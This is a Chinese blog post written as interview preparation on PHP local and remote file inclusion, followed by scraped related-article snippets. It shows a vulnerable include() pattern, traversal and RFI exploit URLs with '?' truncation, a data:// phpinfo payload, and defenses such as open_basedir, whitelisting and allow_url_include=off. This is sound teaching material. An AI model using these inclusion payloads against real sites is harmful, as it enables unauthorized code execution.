php本地文件包含截断,php本地文件包含远程文件包含

由头：面试的时候被问到了，有些东西还是实践的太少，写此博客记录一下。

php文件包含函数：

include()

require()

include_once()

require_once()

本地文件包含：

include($_GET['test']);

exploit：

包含当前目录的 lfi.txt(内容为<?php phpinfo();?>)：

跨目录包含：

http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上层目录的lfi.txt文件

http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含内层目录的lfi.txt文件

防御：

防止跨目录：

在php.ini中设置open_basedir

open_basedir = C:\Program Files\phpStudy\WWW\lfi #限制在当前目录下(包括子目录)

open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #限制在当前目录下(不包括子目录)

防止本地文件包含：

使用枚举

$file =$_GET['test'];

switch ($file) {

case 'lfi.txt':

include('./lfi.txt');

break;

default:

include('./notexists.txt');

break;

}

远程文件包含：

include($_GET['file'].'txt');

exploit:

http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?

技巧：？被解释成url中的querystring，可用来在远程文件包含时截断代码中后面内容。

防御：

php.ini配置文件里allow_url_include=off

文件包含利用技巧：

1.远程文件包含时利用 data:// (>5.2.0) 或者 input://协议

/rfi.php?file=data:text/plain,<?php %20phpinfo();?>

php本地文件包含截断,php本地文件包含远程文件包含相关推荐

PHP远程文件包含（RFI）并绕过远程URL包含限制
文章来源|MS08067 公众号粉丝投稿本文作者:VastSky(Ms08067实验室粉丝) 前言本文我们讲如何绕过远程URL包含限制.在PHP开发环境php.ini配置文里"allow ...
php 怎么远程包含,利用PHP应用程序中的远程文件包含（RFI）并绕过远程URL包含限制...
前言文章讲诉了如何绕过远程URL包含限制.在PHP开发环境php.ini配置文件里",allow_url_include"为"off"的情况下,不允许PHP加 ...
操作分布式文件之三：如何访问和操作远程文件
FttpAdapter fa = new FttpAdapter("fttp://10.232.20.151/home/qianfeng.py/fttp/tmp/1.log"); ...
向日葵Linux传文件,干货整理：向日葵如何实现远程文件传输？
无论是工作还是生活都会涉及一些远程控制的问题,有些用户会借助一些远程控制软件来解决,但有些软件的功能性过于单一,不能满足用户的使用需求.为此小编就跟大家推荐一款比较实用的远程控制软件--向日葵.下面就 ...
php本地文件包含截断,php远程文件包含截断问题
今天在学习<白帽子讲web安全>一书是,提到一个php远程文件包含漏洞可以从攻击者服务器中的一个写好的攻击脚本中远程执行命令服务器中有漏洞的页面代码为: #test.php #erro ...
文件包含原理及本地文件包含漏洞演示（本地文件，远程包含文件的测试）
一.文件包含漏洞概述 1.定义:文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序.当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行 ...
远程文件包含 php,php本地及远程文件包含漏洞
在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen on allow_url_include on 但是开启这两个功能之后伴随的是url ...
test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞（BUUCTF web）
题目很简单,一个滑稽打开源码,发现存在source.php文件于是访问文件,发现出现一串php源码提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
index.php.bak 颓废_18.phpmyadmin 4.8.1 远程文件包含漏洞（CVE-2018-12613）
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...
php代码审计文件包含,PHP代码审计之远程文件包含（RFI）
有位叫做普瑞斯特的大牛针对PHP的web应用列出了下面几种攻击方式: 1.命令注入(Command Injection)2.eval注入(Eval Injection)3.客户端脚本攻击(Script ...

php本地文件包含截断,php本地文件包含远程文件包含

php本地文件包含截断,php本地文件包含远程文件包含相关推荐

最新文章

热门文章

php本地文件包含 截断,php本地文件包含远程文件包含

php本地文件包含 截断,php本地文件包含远程文件包含相关推荐

最新文章

热门文章

php本地文件包含截断,php本地文件包含远程文件包含

php本地文件包含截断,php本地文件包含远程文件包含相关推荐